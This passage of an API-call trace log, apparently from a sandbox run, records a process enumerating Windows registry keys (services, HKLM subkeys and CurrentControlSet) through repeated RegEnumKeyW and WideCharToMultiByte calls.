cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0225.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0225.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0225.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0225.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0225.077] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0225.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0225.077] RegCloseKey (hKey=0x150) returned 0x0 [0225.077] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0225.077] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0225.077] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0225.078] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0225.078] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0225.078] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0225.078] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0225.078] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0225.078] RegCloseKey (hKey=0x80000002) returned 0x0 [0225.078] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0225.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0225.079] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0225.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0225.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0225.080] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0225.080] RegCloseKey (hKey=0x14c) returned 0x0 [0225.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0225.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0225.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0225.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0225.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0225.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0225.081] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0225.081] RegCloseKey (hKey=0x150) returned 0x0 [0225.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0225.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0225.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0225.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0225.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0225.082] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0225.082] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0225.082] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, 